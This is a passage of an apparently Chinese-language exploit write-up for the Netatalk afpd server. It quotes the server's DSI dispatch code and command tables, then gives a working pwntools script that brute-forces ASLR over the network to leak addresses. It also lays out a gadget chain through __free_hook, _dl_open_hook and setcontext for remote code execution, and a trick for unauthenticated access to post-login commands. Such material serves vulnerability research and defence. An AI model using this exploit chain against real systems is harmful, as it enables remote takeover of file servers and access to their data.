       AFP replay cache 
       *
       /
                  
       rc_idx 
       = 
       dsi
       -
       >clientID 
       % 
       REPLAYCACHE_SIZE;
                  
       LOG(log_debug, logtype_dsi, 
       "DSI request ID: %u"
       , dsi
       -
       >clientID);
                  
       if 
       (replaycache[rc_idx].DSIreqID 
       =
       = 
       dsi
       -
       >clientID
                      
       && replaycache[rc_idx].AFPcommand 
       =
       = 
       function) {
                      
       LOG(log_note, logtype_afpd, 
       "AFP Replay Cache match: id: %u / cmd: %s"
       ,
                          
       dsi
       -
       >clientID, AfpNum2name(function));
                      
       err 
       = 
       replaycache[rc_idx].result;
                  
       /
       * 
       AFP replay cache end 
       *
       /
                  
       } 
       else 
       {
                      
       /
       * 
       send off an afp command. 
       in 
       a couple cases, we take advantage
                       
       * 
       of the fact that we're a stream
       -
       based protocol. 
       *
       /
                      
       if 
       (afp_switch[function]) {
                          
       dsi
       -
       >datalen 
       = 
       DSI_DATASIZ;
                          
       dsi
       -
       >flags |
       = 
       DSI_RUNNING;
                          
       LOG(log_debug, logtype_afpd, 
       "<== Start AFP command: %s"
       , AfpNum2name(function));
                          
       AFP_AFPFUNC_START(function, (char 
       *
       )AfpNum2name(function));
                          
       err 
       = 
       (
       *
       afp_switch[function])(obj,
                                                        
       (char 
       *
       )dsi
       -
       >commands, dsi
       -
       >cmdlen,
                                                        
       (char 
       *
       )&dsi
       -
       >data, &dsi
       -
       >datalen);
                          
       AFP_AFPFUNC_DONE(function, (char 
       *
       )AfpNum2name(function));
                          
       LOG(log_debug, logtype_afpd, 
       "==> Finished AFP command: %s -> %s"
       ,
                              
       AfpNum2name(function), AfpErr2name(err));
                          
       dir_free_invalid_q();
                          
       dsi
       -
       >flags &
       = 
       ~DSI_RUNNING;
                          
       /
       * 
       Add result to the AFP replay cache 
       *
       /
                          
       replaycache[rc_idx].DSIreqID 
       = 
       dsi
       -
       >clientID;
                          
       replaycache[rc_idx].AFPcommand 
       = 
       function;
                          
       replaycache[rc_idx].result 
       = 
       err;
                      
       } 
       else 
       {
                          
       LOG(log_maxdebug, logtype_afpd, 
       "bad function %X"
       , function);
                          
       dsi
       -
       >datalen 
       = 
       0
       ;
                          
       err 
       = 
       AFPERR_NOOP;
                      
       }
                  
       }
                  
       /
       * 
       single shot toggle that gets 
       set 
       by dsi_readinit. 
       *
       /
                  
       if 
       (dsi
       -
       >flags & DSI_NOREPLY) {
                      
       dsi
       -
       >flags &
       = 
       ~DSI_NOREPLY;
                      
       break
       ;
                  
       } 
       else 
       if 
       (!dsi_cmdreply(dsi, err)) {
                      
       LOG(log_error, logtype_afpd, 
       "dsi_cmdreply(%d): %s"
       , dsi
       -
       >socket, strerror(errno) );
                      
       if 
       (dsi_disconnect(dsi) !
       = 
       0
       )
                          
       afp_dsi_die(EXITERR_CLNT);
                  
       }
                  
       break
       ;
              
       case DSIFUNC_WRITE: 
       /
       * 
       FPWrite 
       and 
       FPAddIcon 
       *
       /
                  
       function 
       = 
       (u_char) dsi
       -
       >commands[
       0
       ];
                  
       if 
       ( afp_switch[ function ] !
       = 
       NULL ) {
                      
       dsi
       -
       >datalen 
       = 
       DSI_DATASIZ;
                      
       dsi
       -
       >flags |
       = 
       DSI_RUNNING;
                      
       LOG(log_debug, logtype_afpd, 
       "<== Start AFP command: %s"
       , AfpNum2name(function));
                      
       AFP_AFPFUNC_START(function, (char 
       *
       )AfpNum2name(function));
                      
       err 
       = 
       (
       *
       afp_switch[function])(obj,
                                                    
       (char 
       *
       )dsi
       -
       >commands, dsi
       -
       >cmdlen,
                                                    
       (char 
       *
       )&dsi
       -
       >data, &dsi
       -
       >datalen);
                      
       AFP_AFPFUNC_DONE(function, (char 
       *
       )AfpNum2name(function));
                      
       LOG(log_debug, logtype_afpd, 
       "==> Finished AFP command: %s -> %s"
       ,
                          
       AfpNum2name(function), AfpErr2name(err));
                      
       dsi
       -
       >flags &
       = 
       ~DSI_RUNNING;
                  
       } 
       else 
       {
                      
       LOG(log_error, logtype_afpd, 
       "(write) bad function %x"
       , function);
                      
       dsi
       -
       >datalen 
       = 
       0
       ;
                      
       err 
       = 
       AFPERR_NOOP;
                  
       }
                  
       if 
       (!dsi_wrtreply(dsi, err)) {
                      
       LOG(log_error, logtype_afpd, 
       "dsi_wrtreply: %s"
       , strerror(errno) );
                      
       if 
       (dsi_disconnect(dsi) !
       = 
       0
       )
                          
       afp_dsi_die(EXITERR_CLNT);
                  
       }
                  
       break
       ;
              
       case DSIFUNC_ATTN: 
       /
       * 
       attention replies 
       *
       /
                  
       break
       ;
                  
       /
       * 
       error. this usually implies a mismatch of some kind
                   
       * 
       between server 
       and 
       client. 
       if 
       things are correct,
                   
       * 
       we need to flush the rest of the packet 
       if 
       necessary. 
       *
       /
              
       default:
                  
       LOG(log_info, logtype_afpd,
       "afp_dsi: spurious command %d"
       , cmd);
                  
       dsi_writeinit(dsi, dsi
       -
       >data, DSI_DATASIZ);
                  
       dsi_writeflush(dsi);
                  
       break
       ;
              
       }
              
       pending_request(dsi);
              
       fce_pending_events(obj);
          
       }
      }
      /
       *
       !
       
       * 
       Read DSI command 
       and 
       data
       
       *
       
       * 
       @param  dsi   (rw) DSI handle
       
       *
       
       * 
       @
       return    
       DSI function on success, 
       0 
       on failure
       
       *
       /
      int 
       dsi_stream_receive(DSI 
       *
       dsi)
      {
        
       char block[DSI_BLOCKSIZ];
        
       LOG(log_maxdebug, logtype_dsi, 
       "dsi_stream_receive: START"
       );
        
       if 
       (dsi
       -
       >flags & DSI_DISCONNECTED)
            
       return 
       0
       ;
        
       /
       * 
       read 
       in 
       the header 
       *
       /
        
       if 
       (dsi_buffered_stream_read(dsi, (uint8_t 
       *
       )block, sizeof(block)) !
       = 
       sizeof(block)) 
          
       return 
       0
       ;
        
       dsi
       -
       >header.dsi_flags 
       = 
       block[
       0
       ];
        
       dsi
       -
       >header.dsi_command 
       = 
       block[
       1
       ];
        
       if 
       (dsi
       -
       >header.dsi_command 
       =
       = 
       0
       )
            
       return 
       0
       ;
        
       memcpy(&dsi
       -
       >header.dsi_requestID, block 
       + 
       2
       , sizeof(dsi
       -
       >header.dsi_requestID));
        
       memcpy(&dsi
       -
       >header.dsi_data.dsi_doff, block 
       + 
       4
       , sizeof(dsi
       -
       >header.dsi_data.dsi_doff));
        
       dsi
       -
       >header.dsi_data.dsi_doff 
       = 
       htonl(dsi
       -
       >header.dsi_data.dsi_doff);
        
       memcpy(&dsi
       -
       >header.dsi_len, block 
       + 
       8
       , sizeof(dsi
       -
       >header.dsi_len));
        
       memcpy(&dsi
       -
       >header.dsi_reserved, block 
       + 
       12
       , sizeof(dsi
       -
       >header.dsi_reserved));
        
       dsi
       -
       >clientID 
       = 
       ntohs(dsi
       -
       >header.dsi_requestID);
        
       /
       * 
       make sure we don't over
       -
       write our buffers. 
       *
       /
        
       dsi
       -
       >cmdlen 
       = 
       MIN
       (ntohl(dsi
       -
       >header.dsi_len), dsi
       -
       >server_quantum);
        
       /
       * 
       Receiving DSIWrite data 
       is 
       done 
       in 
       AFP function, 
       not 
       here 
       *
       /
        
       if 
       (dsi
       -
       >header.dsi_data.dsi_doff) {
            
       LOG(log_maxdebug, logtype_dsi, 
       "dsi_stream_receive: write request"
       );
            
       dsi
       -
       >cmdlen 
       = 
       dsi
       -
       >header.dsi_data.dsi_doff;
        
       }
        
       /
       / 
       TCP fork dsi
        
       if 
       (dsi_stream_read(dsi, dsi
       -
       >commands, dsi
       -
       >cmdlen) !
       = 
       dsi
       -
       >cmdlen)
          
       return 
       0
       ;
        
       LOG(log_debug, logtype_dsi, 
       "dsi_stream_receive: DSI cmdlen: %zd"
       , dsi
       -
       >cmdlen);
        
       return 
       block[
       1
       ];
      }
       | 
   
| 
      
      1
      
     
      2
      
     
      3
      
     
      4
      
     
      5
      
     
      6
      
     
      7
      
     
      8
      
     
      9
      
     
      10
      
     
      11
      
     
      12
      
     
      13
      
     
      14
      
     
      15
      
     
      16
      
     
      17
      
     
      18
      
     
      19
      
     
      20
      
     
      21
      
     
      22
      
     
      23
      
     
      24
      
     
      25
      
     
      26
      
     
      27
      
     
      28
      
     
      29
      
     
      30
      
     
      31
      
     
      32
      
     
      33
      
     
      34
      
     
      35
      
     
      36
      
     
      37
      
     
      38
      
     
      39
      
     
      40
      
     
      41
      
     
      42
      
     
      43
      
     
      44
      
     
      45
      
     
      46
      
     
      47
      
     
      48
      
     
      49
      
     
      50
      
     
      51
      
     
      52
      
     
      53
      
     
      54
      
     
      55
      
     
      56
      
     
      57
      
     
      58
      
     
      59
      
     
      60
      
     
      61
      
     
      62
      
     
      63
      
     
      64
      
     
      65
      
     
      66
      
     
      67
      
     
      68
      
     
      69
      
     
      70
      
     
      71
      
     
      72
      
     
      73
      
     
      74
      
     
      75
      
     
      76
      
     
      77
      
     
      78
      
     
      79
      
     
      80
      
     
      81
      
     
      82
      
     
      83
      
     
      84
      
     
      85
      
     
      86
      
     
      87
      
     
      88
      
     
      89
      
     
      90
      
     
      91
      
     
      92
      
     
      93
      
     
      94
      
     
      95
      
     
      96
      
     
      97
      
     
      98
      
     
      99
      
     
      100
      
     
      101
      
     
      102
      
     
      103
      
     
      104
      
     
      105
      
     
      106
      
     
      107
      
     
      108
      
     
      109
      
     
      110
      
     
      111
      
     
      112
      
     
      113
      
     
      114
      
     
      115
      
     
      116
      
     
      117
      
     
      118
      
     
      119
      
     
      120
      
     
      121
      
     
      122
      
     
      123
      
     
      124
      
     
      125
      
     
      126
      
     
      127
      
     
      128
      
     
      129
      
     
      130
      
     
      131
      
     
      132
      
     
      133
      
     
      134
      
     
      135
      
     
      136
       | 
    
     static AFPCmd preauth_switch[] 
       = 
       {
          
       NULL, NULL, NULL, NULL,
          
       NULL, NULL, NULL, NULL,                    
       /
       *   
       0 
       -   
       7 
       *
       /
          
       NULL, NULL, NULL, NULL,
          
       NULL, NULL, NULL, NULL,                    
       /
       *   
       8 
       -  
       15 
       *
       /
          
       NULL, NULL, afp_login, afp_logincont,
          
       afp_logout, NULL, NULL, NULL,                
       /
       *  
       16 
       -  
       23 
       *
       /
          
       NULL, NULL, NULL, NULL,
          
       NULL, NULL, NULL, NULL,                    
       /
       *  
       24 
       -  
       31 
       *
       /
          
       NULL, NULL, NULL, NULL,
          
       NULL, NULL, NULL, NULL,                    
       /
       *  
       32 
       -  
       39 
       *
       /
          
       NULL, NULL, NULL, NULL,
          
       NULL, NULL, NULL, NULL,                    
       /
       *  
       40 
       -  
       47 
       *
       /
          
       NULL, NULL, NULL, NULL,
          
       NULL, NULL, NULL, NULL,                    
       /
       *  
       48 
       -  
       55 
       *
       /
          
       NULL, NULL, NULL, NULL,
          
       NULL, NULL, NULL, afp_login_ext,                
       /
       *  
       56 
       -  
       63 
       *
       /
          
       NULL, NULL, NULL, NULL,
          
       NULL, NULL, NULL, NULL,                    
       /
       *  
       64 
       -  
       71 
       *
       /
          
       NULL, NULL, NULL, NULL,
          
       NULL, NULL, NULL, NULL,                    
       /
       *  
       72 
       -  
       79 
       *
       /
          
       NULL, NULL, NULL, NULL,
          
       NULL, NULL, NULL, NULL,                    
       /
       *  
       80 
       -  
       87 
       *
       /
          
       NULL, NULL, NULL, NULL,
          
       NULL, NULL, NULL, NULL,                    
       /
       *  
       88 
       -  
       95 
       *
       /
          
       NULL, NULL, NULL, NULL,
          
       NULL, NULL, NULL, NULL,                    
       /
       *  
       96 
       - 
       103 
       *
       /
          
       NULL, NULL, NULL, NULL,
          
       NULL, NULL, NULL, NULL,                    
       /
       * 
       104 
       - 
       111 
       *
       /
          
       NULL, NULL, NULL, NULL,
          
       NULL, NULL, NULL, NULL,                    
       /
       * 
       112 
       - 
       119 
       *
       /
          
       NULL, NULL, NULL, NULL,
          
       NULL, NULL, NULL, NULL,                    
       /
       * 
       120 
       - 
       127 
       *
       /
          
       NULL, NULL, NULL, NULL,
          
       NULL, NULL, NULL, NULL,                    
       /
       * 
       128 
       - 
       135 
       *
       /
          
       NULL, NULL, NULL, NULL,
          
       NULL, NULL, NULL, NULL,                    
       /
       * 
       136 
       - 
       143 
       *
       /
          
       NULL, NULL, NULL, NULL,
          
       NULL, NULL, NULL, NULL,                    
       /
       * 
       144 
       - 
       151 
       *
       /
          
       NULL, NULL, NULL, NULL,
          
       NULL, NULL, NULL, NULL,                    
       /
       * 
       152 
       - 
       159 
       *
       /
          
       NULL, NULL, NULL, NULL,
          
       NULL, NULL, NULL, NULL,                    
       /
       * 
       160 
       - 
       167 
       *
       /
          
       NULL, NULL, NULL, NULL,
          
       NULL, NULL, NULL, NULL,                    
       /
       * 
       168 
       - 
       175 
       *
       /
          
       NULL, NULL, NULL, NULL,
          
       NULL, NULL, NULL, NULL,                    
       /
       * 
       176 
       - 
       183 
       *
       /
          
       NULL, NULL, NULL, NULL,
          
       NULL, NULL, NULL, NULL,                    
       /
       * 
       184 
       - 
       191 
       *
       /
          
       NULL, NULL, NULL, NULL,
          
       NULL, NULL, NULL, NULL,                    
       /
       * 
       192 
       - 
       199 
       *
       /
          
       NULL, NULL, NULL, NULL,
          
       NULL, NULL, NULL, NULL,                    
       /
       * 
       200 
       - 
       207 
       *
       /
          
       NULL, NULL, NULL, NULL,
          
       NULL, NULL, NULL, NULL,                    
       /
       * 
       208 
       - 
       215 
       *
       /
          
       NULL, NULL, NULL, NULL,
          
       NULL, NULL, NULL, NULL,                    
       /
       * 
       216 
       - 
       223 
       *
       /
          
       NULL, NULL, NULL, NULL,
          
       NULL, NULL, NULL, NULL,                    
       /
       * 
       224 
       - 
       231 
       *
       /
          
       NULL, NULL, NULL, NULL,
          
       NULL, NULL, NULL, NULL,                    
       /
       * 
       232 
       - 
       239 
       *
       /
          
       NULL, NULL, NULL, NULL,
          
       NULL, NULL, NULL, NULL,                    
       /
       * 
       240 
       - 
       247 
       *
       /
          
       NULL, NULL, NULL, NULL,
          
       NULL, NULL, NULL, NULL,                    
       /
       * 
       248 
       - 
       255 
       *
       /
      };
      AFPCmd 
       *
       afp_switch 
       = 
       preauth_switch;
      AFPCmd postauth_switch[] 
       = 
       {
          
       NULL, afp_bytelock, afp_closevol, afp_closedir,
          
       afp_closefork, afp_copyfile, afp_createdir, afp_createfile,    
       /
       *   
       0 
       -   
       7 
       *
       /
          
       afp_delete, afp_enumerate, afp_flush, afp_flushfork,
          
       afp_null, afp_null, afp_getforkparams, afp_getsrvrinfo,    
       /
       *   
       8 
       -  
       15 
       *
       /
          
       afp_getsrvrparms, afp_getvolparams, afp_login, afp_logincont,
          
       afp_logout, afp_mapid, afp_mapname, afp_moveandrename,    
       /
       *  
       16 
       -  
       23 
       *
       /
          
       afp_openvol, afp_opendir, afp_openfork, afp_read,
          
       afp_rename, afp_setdirparams, afp_setfilparams, afp_setforkparams,
          
       /
       *  
       24 
       -  
       31 
       *
       /
          
       afp_setvolparams, afp_write, afp_getfildirparams, afp_setfildirparams,
          
       afp_changepw, afp_getuserinfo, afp_getsrvrmesg, afp_createid, 
       /
       *  
       32 
       -  
       39 
       *
       /
          
       afp_deleteid, afp_resolveid, afp_exchangefiles, afp_catsearch,
          
       afp_null, afp_null, afp_null, afp_null,            
       /
       *  
       40 
       -  
       47 
       *
       /
          
       afp_opendt, afp_closedt, afp_null, afp_geticon,
          
       afp_geticoninfo, afp_addappl, afp_rmvappl, afp_getappl,    
       /
       *  
       48 
       -  
       55 
       *
       /
          
       afp_addcomment, afp_rmvcomment, afp_getcomment, NULL,
          
       NULL, NULL, NULL, NULL,                    
       /
       *  
       56 
       -  
       63 
       *
       /
          
       NULL, NULL, NULL, NULL,
          
       NULL, NULL, NULL, NULL,                    
       /
       *  
       64 
       -  
       71 
       *
       /
          
       NULL, NULL, NULL, NULL,
          
       NULL, NULL, afp_syncdir, afp_syncfork,    
       /
       *  
       72 
       -  
       79 
       *
       /
          
       NULL, NULL, NULL, NULL,
          
       NULL, NULL, NULL, NULL,                    
       /
       *  
       80 
       -  
       87 
       *
       /
          
       NULL, NULL, NULL, NULL,
          
       NULL, NULL, NULL, NULL,                    
       /
       *  
       88 
       -  
       95 
       *
       /
          
       NULL, NULL, NULL, NULL,
          
       afp_getdiracl, afp_setdiracl, afp_afschangepw, NULL,    
       /
       *  
       96 
       - 
       103 
       *
       /
          
       NULL, NULL, NULL, NULL,
          
       NULL, NULL, NULL, NULL,                    
       /
       * 
       104 
       - 
       111 
       *
       /
          
       NULL, NULL, NULL, NULL,
          
       NULL, NULL, NULL, NULL,                    
       /
       * 
       112 
       - 
       119 
       *
       /
          
       NULL, NULL, NULL, NULL,
          
       NULL, NULL, NULL, NULL,                    
       /
       * 
       120 
       - 
       127 
       *
       /
          
       NULL, NULL, NULL, NULL,
          
       NULL, NULL, NULL, NULL,                    
       /
       * 
       128 
       - 
       135 
       *
       /
          
       NULL, NULL, NULL, NULL,
          
       NULL, NULL, NULL, NULL,                    
       /
       * 
       136 
       - 
       143 
       *
       /
          
       NULL, NULL, NULL, NULL,
          
       NULL, NULL, NULL, NULL,                    
       /
       * 
       144 
       - 
       151 
       *
       /
          
       NULL, NULL, NULL, NULL,
          
       NULL, NULL, NULL, NULL,                    
       /
       * 
       152 
       - 
       159 
       *
       /
          
       NULL, NULL, NULL, NULL,
          
       NULL, NULL, NULL, NULL,                    
       /
       * 
       160 
       - 
       167 
       *
       /
          
       NULL, NULL, NULL, NULL,
          
       NULL, NULL, NULL, NULL,                    
       /
       * 
       168 
       - 
       175 
       *
       /
          
       NULL, NULL, NULL, NULL,
          
       NULL, NULL, NULL, NULL,                    
       /
       * 
       176 
       - 
       183 
       *
       /
          
       NULL, NULL, NULL, NULL,
          
       NULL, NULL, NULL, NULL,                    
       /
       * 
       184 
       - 
       191 
       *
       /
          
       afp_addicon, NULL, NULL, NULL,
          
       NULL, NULL, NULL, NULL,                    
       /
       * 
       192 
       - 
       199 
       *
       /
          
       NULL, NULL, NULL, NULL,
          
       NULL, NULL, NULL, NULL,                    
       /
       * 
       200 
       - 
       207 
       *
       /
          
       NULL, NULL, NULL, NULL,
          
       NULL, NULL, NULL, NULL,                    
       /
       * 
       208 
       - 
       215 
       *
       /
          
       NULL, NULL, NULL, NULL,
          
       NULL, NULL, NULL, NULL,                    
       /
       * 
       216 
       - 
       223 
       *
       /
          
       NULL, NULL, NULL, NULL,
          
       NULL, NULL, NULL, NULL,                    
       /
       * 
       224 
       - 
       231 
       *
       /
          
       NULL, NULL, NULL, NULL,
          
       NULL, NULL, NULL, NULL,                    
       /
       * 
       232 
       - 
       239 
       *
       /
          
       NULL, NULL, NULL, NULL,
          
       NULL, NULL, NULL, NULL,                    
       /
       * 
       240 
       - 
       247 
       *
       /
          
       NULL, NULL, NULL, NULL,
          
       NULL, NULL, NULL, NULL,                    
       /
       * 
       248 
       - 
       255 
       *
       /
      };
       | 
   
bingo,我们已经将两条主线分析完毕,也从中点出了漏洞点以及可能的利用方式,那么我们这一小节将根据我们的代码分析、漏洞点分析,讨论可能的利用思路和方式。具体的,我们会讨论越界写漏洞导致潜在任意地址写如何得以实现,即将潜在的变为真正的;我们将讨论任意地址写得以实现后,将详细分析如何RCE,简单的提一下如何进行未授权访问postauth_switch中的函数。
我们可以在第一次发送DSI数据包时,触发越界写,劫持commands指针,那么我们如何得以让commands指针写入我们希望的地址呢?在未开启ASLR时,这并不难,但现在我们开启了ASLR,我们没办法确定任意一个模块的base adress。这时我们不妨先,先看一看内存布局。尽管程序开启了ASLR,但是我们每次处理我们连接的是fork出来的子进程,而子进程的虚拟进程空间的内存布局与父进程是一致的,也就是说每次fork出来的子进程其地址在父进程生命周期内都是固定的。
注5:gdb附加容器进程进行调试请使用如下命令
sudo gdb -q -p `pgrep -n afp` --ex "set follow-fork-mode child"
如图3,通过观察,我们可以得知ASLR的Randomization主要是 0x00 00 7f ?? ?? ?? ?0 00,这样的随机化规律。那么,我们可以通过不断的写commands指针的地址试,逐个试探??,观察子进程是否crash。若commands指针地址不可写,那么后续读commands指针数据的操作将触发非法内存访问导致进程crash,无法响应我们的请求。也就是说,如果我们发的包修改的commands指针地址合法,我们会收到响应的数据包,如果没有那么就意味着我们写的commands指针地址非法。首先,commands指针原始的地址肯定是合法的、可写的。我们可以选择从0x00 00 7f ?? ?? ?? ?0 00的高字节逐字节往低试探(即上诉格式的从左往右消除问号),每当我们收到响应包时,我们便确定了一个??,转之继续往下一个??试探,直至确定一个合法的可写地址。当我们确定一个合法的地址时,有什么用呢?ELF模块之间的相对位置通常是固定的,例如afpd永远是第一个加载的模块。由此当我们在内存中确定一个可写内存的位置时,其相对于其他模块、地址的偏移也是相对固定的,差也不会差太多。我们可以这样来爆破,我们从高地址开始逐渐向低地址爆破,然后每一个字节爆破的值从255->0开始,那么我们拿到的地址,几乎可以肯定的说落在地址最高的ELF模块中。同理,从低字节开始往高字节写,从0->255开始,把7f也当作??试探,几乎可以肯定你会得到一个落在afpd模块中的可读可写地址。由于后面我给出的Exploit是通过泄露libc,劫持__free_hook指针进行内存布局并RCE的。所以我的泄露地址思路是尽量泄露一个离libc近的地址,因为图5中libc地址足够高,因此我也选择泄露一个高地址。代码如下:该代码泄露出来的地址,落在最高的模块中。并且出于简单考虑,在这个形式中的泄露格式0x00 00 7f ?? ?? ?? ?0 00,我把最后两个字节默认抹除为0了,也即只需要泄露三个字节,并且我们泄露出来的地址是0x1000对齐的。
| 
      
      1
      
     
      2
      
     
      3
      
     
      4
      
     
      5
      
     
      6
      
     
      7
      
     
      8
      
     
      9
      
     
      10
      
     
      11
      
     
      12
      
     
      13
      
     
      14
      
     
      15
      
     
      16
      
     
      17
      
     
      18
      
     
      19
      
     
      20
      
     
      21
      
     
      22
      
     
      23
      
     
      24
      
     
      25
      
     
      26
      
     
      27
      
     
      28
      
     
      29
      
     
      30
      
     
      31
      
     
      32
      
     
      33
      
     
      34
      
     
      35
      
     
      36
      
     
      37
      
     
      38
      
     
      39
      
     
      40
      
     
      41
      
     
      42
      
     
      43
      
     
      44
      
     
      45
      
     
      46
      
     
      47
      
     
      48
      
     
      49
      
     
      50
      
     
      51
      
     
      52
      
     
      53
      
     
      54
      
     
      55
       | 
    
     '''
      dsi_header结构:
          
       flags: 1 byte
          
       command: 1 byte
          
       request_id: 2 bytes
          
       error_code: 4 bytes
          
       dsi_data_len: 4 bytes
          
       reserved: 4 bytes
          
       dsi_data: dsi_data_len bytes
      '''
      def 
       create_dsi_header(command : bytes, dsi_data):
          
       dsi_header 
       = 
       b
       '\x00' 
       # flags
          
       dsi_header 
       +
       = 
       command 
       # command
          
       dsi_header 
       +
       = 
       b
       '\x01\x00' 
       #request_id
          
       dsi_header 
       +
       = 
       b
       '\x00\x00\x00\x00' 
       # error code
          
       dsi_header 
       +
       = 
       p32(
       len
       (dsi_data), endian
       =
       'big'
       ) 
       # Total data length--> sizeof(payload) or sizeof(dsi_data)
          
       dsi_header 
       +
       = 
       p32(
       0
       ) 
       # reserved
          
       dsi_header 
       +
       = 
       dsi_data 
       # payload or dsi_data
          
       return 
       dsi_header
      '''
      dsi_data:
          
       code: 1 byte
          
       size: 1 byte
          
       data: size bytes
      '''
      # dsi_data = code:1byte + size:1byte + data:size bytes
      def 
       create_dsi_data(code : bytes,  data : bytes):
          
       dsi_data 
       = 
       code 
       # code :1 byte
          
       dsi_data 
       +
       = 
       p8(
       len
       (data)) 
       # size: 1 byte
          
       assert 
       len
       (data)  < 
       255
          
       dsi_data 
       +
       = 
       data 
       # data: size bytes
          
       return 
       dsi_data
      def 
       leak_address():
          
       leak_addr 
       = 
       b"" 
       # 0x00 00 7f ?? ?? ?? 00 00 00
          
       flags 
       = 
       p32(
       0x11223344
       , endian
       =
       'big'
       )
          
       for 
       _ 
       in 
       range
       (
       3
       ):
              
       for 
       i 
       in 
       range
       (
       255
       , 
       -
       1
       , 
       -
       1
       ):
                  
       data 
       = 
       p32(
       0
       ) 
       + 
       p32(
       0
       ) 
       + 
       flags[::
       -
       1
       ] 
       + 
       p32(
       0
       ) 
       # 覆盖 attn_quantum, datasize, server_quantum, serverID & clientID
                  
       data 
       +
       = 
       b
       "\x00\x00" 
       + 
       leak_addr 
       + 
       i.to_bytes(
       1
       , byteorder
       =
       'little'
       )
                  
       dsi_data 
       = 
       create_dsi_data(b
       '\x01'
       , data)
                  
       dsi_header 
       = 
       create_dsi_header(b
       '\x04'
       , dsi_data) 
                  
       io 
       = 
       remote(ip, port)
                  
       io.send(dsi_header)
                  
       try
       :
                      
       res 
       = 
       io.recv()
                      
       if 
       flags 
       in 
       res:
                          
       leak_addr 
       +
       = 
       i.to_bytes(
       1
       , byteorder
       =
       'little'
       )
                          
       io.close()
                          
       break
                  
       except
       :
                      
       io.close()
          
       return 
       int
       .from_bytes(b
       "\x00\x00" 
       + 
       leak_addr 
       + 
       b
       "\x7f\x00\x00"
       , byteorder
       =
       'little'
       )
       | 
   
 
那么我们既然泄露出了一个可读可写的地址,如果我想写libc中的一些数据怎么办?或者我想写afpd中的一些数据结构怎么办?那么自然需要泄露对应的基地址。以libc写为例子,我给出的代码泄露出来的地址要么是位于ld-2.27.so中,要么是位于其下方的mmap内存中,我们可以大概的估算一下我们泄露的地址与libc之间的距离,一大步的靠近,然后一路小跑抵达libc基地址。例如我这里算出来的一大步是0x18040000~0x1880000这个区间,我们从直接一大步跨过0x18040000,然后以0x1000一小步一小步的跑向libc。afpd同理,甚至更加简单。
好了,现在我们解决了任意地址写的问题,那么我们来考虑如何进行RCE。泄露了libc以及可以任意地址写,那么常规的思路就是劫持函数指针获得控制流。注意下面的讲解一开始你可能有点困惑,但请看到这以小节的最后你再读一遍就会明白了。由三个gadgets可以完成这个思路。具体的,先看这一段gadgets,setcontext + 53(图4,红框)。我们可以看见只要我们能够控制rdi寄存器,那么我们就能控制几乎所有的寄存器,包括rsp和rip,也就是说我们就达成了劫持控制流、控制了几乎所有寄存器。这一段gadgets其实就是在进行SROP中 signal frame的构建,此时rdi相对于指向就是signal frame的顶部。因此,我们可以通过pwntools中的SigreturnFrame方便的控制这段代码对寄存器的赋值,只要我们可以控制rdi。
![image.png] 
为了控制rdi,我们需要另外两个gadgets。一个是__libc_dlopen_mode + 56,一个是fgetpos64+207,分别如图5、图6所示。
 

| 
      
      1
      
     
      2
      
     
      3
      
     
      4
      
     
      5
      
     
      6
      
     
      7
      
     
      8
      
     
      9
      
     
      10
      
     
      11
      
     
      12
      
     
      13
      
     
      14
      
     
      15
      
     
      16
      
     
      17
      
     
      18
      
     
      19
      
     
      20
      
     
      21
      
     
      22
      
     
      23
      
     
      24
      
     
      25
      
     
      26
       | 
    
     /
       / 
       __libc_dlopen_mode 
       + 
       56
      mov rax, cs:dl_open_hook
      call qword ptr [rax]
              
       ↓
      /
       / 
       fgetpos64 
       +
       207
      mov rdi, rax
      call qword ptr [rax 
       + 
       20h
       ]
              
       ↓
      /
       / 
       setcontext 
       + 
       56
      mov     rsp, [rdi
       +
       0A0h
       ]
      mov     rbx, [rdi
       +
       80h
       ]
      mov     rbp, [rdi
       +
       78h
       ]
      mov     r12, [rdi
       +
       48h
       ]
      mov     r13, [rdi
       +
       50h
       ]
      mov     r14, [rdi
       +
       58h
       ]
      mov     r15, [rdi
       +
       60h
       ]
      mov     rcx, [rdi
       +
       0A8h
       ]
      push    rcx
      mov     rsi, [rdi
       +
       70h
       ]
      mov     rdx, [rdi
       +
       88h
       ]
      mov     rcx, [rdi
       +
       98h
       ]
      mov     r8, [rdi
       +
       28h
       ]
      mov     r9, [rdi
       +
       30h
       ]
      mov     rdi, [rdi
       +
       68h
       ]
      xor     eax, eax
      retn
       | 
   
那么我如何控制dl_open_hook呢?在libc2.27中,_dl_open_hook地址比free_hook大约高0x2b00左右(不同版本编译器编译出来的libc2.27可能略有差别,但总体大约再0x2b00左右)。距离这么远,我们可以覆盖到吗?答案是,可以。(在Netatalk的代码分析小节的注3部分,我们讨论了一次性可以最多写入多大的数据)简言之,我们将commands指针覆盖至free_hook的地址处,随后根据三条gadgets的调用链,依次往后布局内存,使得我们最终能够控制rdi,进而控制程序流以及几乎所有寄存器,完成RCE。
 
未授权访问的核心是泄露afpd的基地址,然后获取其中的三个关键数据结构preauth_switch、postauth_switch和afp_switch,再通过任意地址写将afp_switch变量的值写成postauth_switch,即可进行未授权访问。!

| 
      
      1
      
     
      2
      
     
      3
      
     
      4
      
     
      5
      
     
      6
      
     
      7
      
     
      8
      
     
      9
      
     
      10
      
     
      11
      
     
      12
      
     
      13
      
     
      14
      
     
      15
      
     
      16
      
     
      17
      
     
      18
      
     
      19
      
     
      20
      
     
      21
      
     
      22
      
     
      23
      
     
      24
      
     
      25
      
     
      26
      
     
      27
      
     
      28
      
     
      29
      
     
      30
      
     
      31
      
     
      32
      
     
      33
      
     
      34
      
     
      35
      
     
      36
      
     
      37
      
     
      38
      
     
      39
      
     
      40
      
     
      41
      
     
      42
      
     
      43
      
     
      44
      
     
      45
      
     
      46
      
     
      47
      
     
      48
      
     
      49
      
     
      50
      
     
      51
      
     
      52
      
     
      53
      
     
      54
      
     
      55
      
     
      56
      
     
      57
      
     
      58
      
     
      59
      
     
      60
      
     
      61
      
     
      62
      
     
      63
      
     
      64
      
     
      65
      
     
      66
      
     
      67
      
     
      68
      
     
      69
      
     
      70
      
     
      71
      
     
      72
      
     
      73
      
     
      74
      
     
      75
      
     
      76
      
     
      77
      
     
      78
      
     
      79
      
     
      80
      
     
      81
      
     
      82
      
     
      83
      
     
      84
      
     
      85
      
     
      86
      
     
      87
      
     
      88
      
     
      89
      
     
      90
      
     
      91
      
     
      92
      
     
      93
      
     
      94
      
     
      95
      
     
      96
      
     
      97
      
     
      98
      
     
      99
      
     
      100
      
     
      101
      
     
      102
      
     
      103
      
     
      104
      
     
      105
      
     
      106
      
     
      107
      
     
      108
      
     
      109
      
     
      110
